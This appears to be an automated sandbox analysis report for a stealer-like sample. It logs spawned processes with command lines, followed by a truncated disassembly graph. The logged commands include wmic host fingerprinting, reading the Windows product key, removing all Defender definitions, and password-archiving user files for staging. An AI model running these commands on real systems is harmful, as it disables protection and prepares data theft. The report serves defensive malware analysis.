                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff66e660000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:11
                                                                                                                                                                                                                                        Start time:03:43:00
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                                                                                                                        Imagebase:0x7ff779e90000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:12
                                                                                                                                                                                                                                        Start time:03:43:00
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff66e660000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:13
                                                                                                                                                                                                                                        Start time:03:43:01
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\tasklist.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:tasklist /FO LIST
                                                                                                                                                                                                                                        Imagebase:0x7ff65dec0000
                                                                                                                                                                                                                                        File size:106'496 bytes
                                                                                                                                                                                                                                        MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:14
                                                                                                                                                                                                                                        Start time:03:43:01
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\tasklist.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:tasklist /FO LIST
                                                                                                                                                                                                                                        Imagebase:0x7ff65dec0000
                                                                                                                                                                                                                                        File size:106'496 bytes
                                                                                                                                                                                                                                        MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:15
                                                                                                                                                                                                                                        Start time:03:43:04
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\wbem\WmiPrvSE.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                                                                                                                        Imagebase:0x7ff717f30000
                                                                                                                                                                                                                                        File size:496'640 bytes
                                                                                                                                                                                                                                        MD5 hash:60FF40CFD7FB8FE41EE4FE9AE5FE1C51
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:16
                                                                                                                                                                                                                                        Start time:03:43:05
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\0ddIp.zip" *"
                                                                                                                                                                                                                                        Imagebase:0x7ff779e90000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:17
                                                                                                                                                                                                                                        Start time:03:43:05
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff66e660000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:18
                                                                                                                                                                                                                                        Start time:03:43:05
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\0ddIp.zip" *
                                                                                                                                                                                                                                        Imagebase:0x7ff68a200000
                                                                                                                                                                                                                                        File size:630'736 bytes
                                                                                                                                                                                                                                        MD5 hash:9C223575AE5B9544BC3D69AC6364F75E
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Antivirus matches:
                                                                                                                                                                                                                                        • Detection: 0%, ReversingLabs
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:19
                                                                                                                                                                                                                                        Start time:03:43:06
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                                                                                                                                                                                        Imagebase:0x7ff779e90000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:20
                                                                                                                                                                                                                                        Start time:03:43:06
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff66e660000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:21
                                                                                                                                                                                                                                        Start time:03:43:06
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:wmic os get Caption
                                                                                                                                                                                                                                        Imagebase:0x7ff673960000
                                                                                                                                                                                                                                        File size:576'000 bytes
                                                                                                                                                                                                                                        MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:22
                                                                                                                                                                                                                                        Start time:03:43:07
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                                                                                                                                                                                        Imagebase:0x7ff779e90000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:23
                                                                                                                                                                                                                                        Start time:03:43:07
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff66e660000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:24
                                                                                                                                                                                                                                        Start time:03:43:07
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:wmic computersystem get totalphysicalmemory
                                                                                                                                                                                                                                        Imagebase:0x7ff673960000
                                                                                                                                                                                                                                        File size:576'000 bytes
                                                                                                                                                                                                                                        MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:25
                                                                                                                                                                                                                                        Start time:03:43:08
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                                                                                                                                                        Imagebase:0x7ff779e90000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:26
                                                                                                                                                                                                                                        Start time:03:43:08
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff66e660000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:27
                                                                                                                                                                                                                                        Start time:03:43:09
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:wmic csproduct get uuid
                                                                                                                                                                                                                                        Imagebase:0x7ff673960000
                                                                                                                                                                                                                                        File size:576'000 bytes
                                                                                                                                                                                                                                        MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:28
                                                                                                                                                                                                                                        Start time:03:43:09
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                                                                                                                                                                                        Imagebase:0x7ff779e90000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:29
                                                                                                                                                                                                                                        Start time:03:43:09
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff66e660000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:30
                                                                                                                                                                                                                                        Start time:03:43:09
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                                                                                                                                                                        Imagebase:0x7ff6e3d50000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:31
                                                                                                                                                                                                                                        Start time:03:43:10
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                                                                                                                                                        Imagebase:0x7ff781ac0000
                                                                                                                                                                                                                                        File size:468'120 bytes
                                                                                                                                                                                                                                        MD5 hash:B3676839B2EE96983F9ED735CD044159
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:32
                                                                                                                                                                                                                                        Start time:03:43:10
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                                                                                                                                        Imagebase:0x7ff779e90000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:33
                                                                                                                                                                                                                                        Start time:03:43:10
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff66e660000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:34
                                                                                                                                                                                                                                        Start time:03:43:10
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:wmic path win32_VideoController get name
                                                                                                                                                                                                                                        Imagebase:0x7ff673960000
                                                                                                                                                                                                                                        File size:576'000 bytes
                                                                                                                                                                                                                                        MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:35
                                                                                                                                                                                                                                        Start time:03:43:11
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                                                                                                                                                                        Imagebase:0x7ff779e90000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:36
                                                                                                                                                                                                                                        Start time:03:43:11
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff66e660000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:37
                                                                                                                                                                                                                                        Start time:03:43:11
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                                                                                                                                                                        Imagebase:0x7ff6e3d50000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Disassembly

                                                                                                                                                                                                                                        Reset < >

                                                                                                                                                                                                                                          Execution Graph

                                                                                                                                                                                                                                          Execution Coverage:9.5%
                                                                                                                                                                                                                                          Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                          Signature Coverage:20.1%
                                                                                                                                                                                                                                          Total number of Nodes:2000
                                                                                                                                                                                                                                          Total number of Limit Nodes:26
                                                                                                                                                                                                                                          execution_graph 15941 7ff79d05ccac 15962 7ff79d05ce7c 15941->15962 15944 7ff79d05cdf8 16116 7ff79d05d19c IsProcessorFeaturePresent 15944->16116 15945 7ff79d05ccc8 __scrt_acquire_startup_lock 15947 7ff79d05ce02 15945->15947 15954 7ff79d05cce6 __scrt_release_startup_lock 15945->15954 15948 7ff79d05d19c 7 API calls 15947->15948 15950 7ff79d05ce0d __FrameHandler3::FrameUnwindToEmptyState 15948->15950 15949 7ff79d05cd0b 15951 7ff79d05cd91 15968 7ff79d05d2e4 15951->15968 15953 7ff79d05cd96 15971 7ff79d051000 15953->15971 15954->15949 15954->15951 16105 7ff79d069b9c 15954->16105 15959 7ff79d05cdb9 15959->15950 16112 7ff79d05d000 15959->16112 15963 7ff79d05ce84 15962->15963 15964 7ff79d05ce90 __scrt_dllmain_crt_thread_attach 15963->15964 15965 7ff79d05ce9d 15964->15965 15967 7ff79d05ccc0 15964->15967 15965->15967 16123 7ff79d05d8f8 15965->16123 15967->15944 15967->15945 16150 7ff79d07a540 15968->16150 15970 7ff79d05d2fb GetStartupInfoW 15970->15953 15972 7ff79d051009 15971->15972 16152 7ff79d0654f4 15972->16152 15974 7ff79d0537fb 16159 7ff79d0536b0 15974->16159 15980 7ff79d05391b 16328 7ff79d0545b0 15980->16328 15981 7ff79d05383c 16319 7ff79d051c80 15981->16319 15985 7ff79d05385b 16231 7ff79d058a20 15985->16231 15987 7ff79d05396a 16351 7ff79d052710 15987->16351 15991 7ff79d05388e 15998 7ff79d0538bb __std_exception_destroy 15991->15998 16323 7ff79d058b90 15991->16323 15992 7ff79d05395d 15993 7ff79d053984 15992->15993 15994 7ff79d053962 15992->15994 15996 7ff79d051c80 49 API calls 15993->15996 16347 7ff79d0600bc 15994->16347 15999 7ff79d0539a3 15996->15999 16000 7ff79d058a20 14 API calls 15998->16000 16007 7ff79d0538de __std_exception_destroy 15998->16007 16004 7ff79d051950 115 API calls 15999->16004 16000->16007 16002 7ff79d053a0b 16003 7ff79d058b90 40 API calls 16002->16003 16005 7ff79d053a17 16003->16005 16006 7ff79d0539ce 16004->16006 16008 7ff79d058b90 40 API calls 16005->16008 16006->15985 16009 7ff79d0539de 16006->16009 16013 7ff79d05390e __std_exception_destroy 16007->16013 16362 7ff79d058b30 16007->16362 16011 7ff79d053a23 16008->16011 16010 7ff79d052710 54 API calls 16009->16010 16053 7ff79d053808 __std_exception_destroy 16010->16053 16012 7ff79d058b90 40 API calls 16011->16012 16012->16013 16014 7ff79d058a20 14 API calls 16013->16014 16015 7ff79d053a3b 16014->16015 16016 7ff79d053b2f 16015->16016 16017 7ff79d053a60 __std_exception_destroy 16015->16017 16018 7ff79d052710 54 API calls 16016->16018 16019 7ff79d058b30 40 API calls 16017->16019 16027 7ff79d053aab 16017->16027 16018->16053 16019->16027 16020 7ff79d058a20 14 API calls 16021 7ff79d053bf4 __std_exception_destroy 16020->16021 16022 7ff79d053c46 16021->16022 16023 7ff79d053d41 16021->16023 16024 7ff79d053cd4 16022->16024 16025 7ff79d053c50 16022->16025 16378 7ff79d0544d0 16023->16378 16029 7ff79d058a20 14 API calls 16024->16029 16244 7ff79d0590e0 16025->16244 16027->16020 16032 7ff79d053ce0 16029->16032 16030 7ff79d053d4f 16033 7ff79d053d65 16030->16033 16034 7ff79d053d71 16030->16034 16035 7ff79d053c61 16032->16035 16039 7ff79d053ced 16032->16039 16381 7ff79d054620 16033->16381 16037 7ff79d051c80 49 API calls 16034->16037 16041 7ff79d052710 54 API calls 16035->16041 16048 7ff79d053cc8 __std_exception_destroy 16037->16048 16042 7ff79d051c80 49 API calls 16039->16042 16041->16053 16045 7ff79d053d0b 16042->16045 16043 7ff79d053dc4 16294 7ff79d059400 16043->16294 16045->16048 16049 7ff79d053d12 16045->16049 16046 7ff79d053da7 SetDllDirectoryW LoadLibraryExW 16046->16043 16047 7ff79d053dd7 SetDllDirectoryW 16052 7ff79d053e0a 16047->16052 16096 7ff79d053e5a 16047->16096 16048->16043 16048->16046 16051 7ff79d052710 54 API calls 16049->16051 16051->16053 16055 7ff79d058a20 14 API calls 16052->16055 16369 7ff79d05c5c0 16053->16369 16054 7ff79d053ffc 16057 7ff79d054029 16054->16057 16058 7ff79d054006 PostMessageW GetMessageW 16054->16058 16062 7ff79d053e16 __std_exception_destroy 16055->16062 16056 7ff79d053f1b 16299 7ff79d0533c0 16056->16299 16458 7ff79d053360 16057->16458 16058->16057 16063 7ff79d053ef2 16062->16063 16067 7ff79d053e4e 16062->16067 16066 7ff79d058b30 40 API calls 16063->16066 16066->16096 16067->16096 16384 7ff79d056db0 16067->16384 16096->16054 16096->16056 16106 7ff79d069bb3 16105->16106 16107 7ff79d069bd4 16105->16107 16106->15951 18695 7ff79d06a448 16107->18695 16110 7ff79d05d328 GetModuleHandleW 16111 7ff79d05d339 16110->16111 16111->15959 16113 7ff79d05d011 16112->16113 16114 7ff79d05cdd0 16113->16114 16115 7ff79d05d8f8 7 API calls 16113->16115 16114->15949 16115->16114 16117 7ff79d05d1c2 memcpy_s __FrameHandler3::FrameUnwindToEmptyState 16116->16117 16118 7ff79d05d1e1 RtlCaptureContext RtlLookupFunctionEntry 16117->16118 16119 7ff79d05d20a RtlVirtualUnwind 16118->16119 16120 7ff79d05d246 memcpy_s 16118->16120 16119->16120 16121 7ff79d05d278 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 16120->16121 16122 7ff79d05d2c6 __FrameHandler3::FrameUnwindToEmptyState 16121->16122 16122->15947 16124 7ff79d05d90a 16123->16124 16125 7ff79d05d900 16123->16125 16124->15967 16129 7ff79d05dc94 16125->16129 16130 7ff79d05dca3 16129->16130 16131 7ff79d05d905 16129->16131 16137 7ff79d05ded0 16130->16137 16133 7ff79d05dd00 